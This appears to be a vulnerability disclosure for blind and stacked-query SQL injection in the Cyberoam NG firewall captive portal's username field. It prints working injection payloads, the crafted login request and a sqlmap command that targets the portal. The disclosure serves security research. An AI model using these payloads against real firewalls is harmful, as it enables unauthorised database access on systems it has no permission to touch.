Cyberoam - Blind SQL Injection

<pre class="">1. Description The username field in the captive portal of Cyberoam NG firewall is vulnerable to SQL Injection and can be exploited to execute sql commands on the database. The username field is vulnerable to the following types of SQL Injections a) Boolean-based blind sql injection b) Stacked queries 2. Proof of Concept The data send to the server while logging in through the captive portal is like "mode=191&amp;username=cyberuser&amp;password=cyberpass&amp;a=1439886198757&amp;producttype=0" The query generated in backend server must be something like this SELECT password FROM table_name WHERE username = 'cyberuser' a) Boolean-based blind sql injection If a valid username/password combination is known than boolean-based blind sql injection can be done. If username is set to cyberuser' AND 'x'='x , data send will be "mode=191&amp;username=cyberuser' AND 'x'='x&amp;password=cyberpass&amp;a=1439886198757&amp;producttype=0" And sql query will become SELECT password FROM table_name WHERE username = 'cyberuser' AND 'x'='x' A successfull login message will be received in response in this case. But if username is set to cyberuser' AND 'x'='y than login fail message will be received in response, since x is not equal to y, hence this confirms that username field is vulnerable to boolean-based blind sql injection b) Stacked queries if username is set to cyberuser';SELECT PG_SLEEP(5) -- the resultant sql query will become SELECT password FROM table_name WHERE username = 'cyberuser';SELECT PG_SLEEP(5) -- ' The stacked sql query "SELECT PG_SLEEP(5)" will make the current sessions process sleep until 5 seconds have elapsed. This confirms that Postgresql Server is used and stacked queries can be executed by providing crafted input to username field. 3. Exploit Since the techniques are blind hence it is recommended to use an automated tool like SQLMap to exploit the vulnerability. The following command can be used to initiate the exploit sqlmap.py -u "http://example.com:8090/login.xml" --data "mode=191&amp;username=cyberuser&amp;password=cyberpass&amp;a=1439886198757&amp;producttype=0" </pre>